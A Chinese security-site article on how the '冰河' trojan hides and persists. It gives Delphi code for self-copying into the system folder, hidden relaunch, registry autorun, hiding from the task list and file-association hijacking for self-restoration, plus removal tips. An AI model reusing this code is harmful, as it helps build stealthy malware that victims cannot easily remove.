冰河”启示录                
                
                    所属分类:
                        网络安全 / 工具使用                    
                    阅读数:
                        142
                    
                        收藏 0赞 0分享
                    
                 
                
                    冰河”启示录  作者: 陈经韬 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会                    (1) “冰河”是有名的用C  Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir   myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir   myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir   myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]< > '\' then Result := Result   '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TFORM1','FORM1')=0 then begin //当没有找到FORM1时执行下面代码 Application.ShowMainFORM:=False; //不显示主窗口 Application.CreateFORM(TFORM1, FORM1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses FORMs,windows,messages, Unit1 in 'Unit1.pas' {FORM1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TFORM1.FORMCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir   myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir   myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir   myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT DEL CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可.                   (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TFORM1.FORMCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName ' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir 'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir 'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount> 0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe ' sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe ' sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.                                    
             
            
                
                流影使用说明
一、流影简介流影是一个和流光功能相似的工具,和流光最大的不同在于,流光是运行于用户主机也就是客户端的,是一个图形界面的工具,而流影可以同时运行于服务器端和客户端的工具。用户可以通过telnet来进行远程管理和控制。二、控制命令流影的全部设置通过Telnet来进
                    
                    收藏 0赞 0分享
关于webscanner的分析
前几天风起用这给扫描软件扫了某些国内的网站,也包括了我们自己的网站,然后说了我们网站的安全问题,后来我仔细看了扫出来的漏洞报告,也把这个软件使用了一下,发现这个软件扫出来的报告并不一定准确,所报告的漏洞也不一定会有危险这个程序是一个相当简单的程序,
                    
                    收藏 0赞 0分享
Nmap网络安全扫描器说明
Nmap网络安全扫描器说明(Linux )信息来源:苏樱作者:Fyodor 译者:quack名称: nmap - 网络勘察工具和安全扫描器摘要nmap [扫描类型] [选项] <主机或网络 #1 ... [#N]>描述nmap被开发用于允许系统管理员察看一个大的网络系
                    
                    收藏 0赞 0分享
溯雪使用说明
一、关于溯雪1、由于种种原因,溯雪是一个英文的版本,欢迎有兴趣的朋友汉化。2、此次的说明书仅仅是一个快速的使用指南,如果您有兴趣,可以帮我写一个。如果没有人愿意写的话,那只好我自己写了。:-(3、这是一个免费的产品。二、溯雪可以做什么1、对免费信箱的探测,
                    
                    收藏 0赞 0分享
Telnet密码破解软件Letmein1.0说明
首先启动 LetMeIn! V1.0, 我们先假设在 nowhere.unix.net 中有一个帐号叫作 guest使用的密码为 guest003, 且我们有一个 dic.txt 档案, 内含有字典档, 其内容为:-----Cut here DIC.TXT ------guest
                    
                    收藏 0赞 0分享
Nmap网络安全扫描器说明(5)
Nmap网络安全扫描器说明(5) 作者:作者:Fyodor 译者:quack发布日期:2002-2-6上传日期:2002-2-6来源:不详扫描范例--------*这里是一些运用nmap的扫描范例,从最简单普通的到有一些复杂的例子都有。注意这里有真实的数字以及一些真实的域名——这
                    
                    收藏 0赞 0分享
Nmap网络安全扫描器说明(3)
Nmap网络安全扫描器说明(3) 作者:作者:Fyodor 译者:quack发布日期:2002-2-6上传日期:2002-2-6来源:不详常规选项--------*这些选项并非必需的,但有些会非常实用。-P0 在扫描前不尝试或者PING主机,这是用来扫描那些不允许ICMP ech
                    
                    收藏 0赞 0分享
不需要任何密码就能达到进入中有冰河的机器!!!
不需要任何密码就能达到进入中有冰河的机器!!!小飞刀 [[冰河第一站]]冰河出现到现在,使用得如此之广,影响如此之大。 却万万没有人想到冰河服务端竟然存在着如此严重的漏洞:“不需要任何密码就可以将本地文件在远程机器上打开!!!” 漏洞一:不需要密码远程运行本地文
                    
                    收藏 0赞 0分享
Nmap网络安全扫描器说明(2)
Nmap网络安全扫描器说明(2) 作者:作者:Fyodor 译者:quack发布日期:2002-2-6上传日期:2002-2-6来源:不详扫描类型--------*-sT TCP connect()扫描:这是对TCP的最基本形式的侦测。在该操作下,该connect()对目标主机上
                    
                    收藏 0赞 0分享
Nmap网络安全扫描器说明(4)
Nmap网络安全扫描器说明(4) 作者:作者:Fyodor 译者:quack发布日期:2002-2-6上传日期:2002-2-6来源:不详定时选项--------*虽然nmap在一般情况下都能够很好地在运行时间里尽可能迅速地完成扫描任务,但偶尔还是会有一些主机/端口无法侦测,这可
                    
                    收藏 0赞 0分享
                 查看更多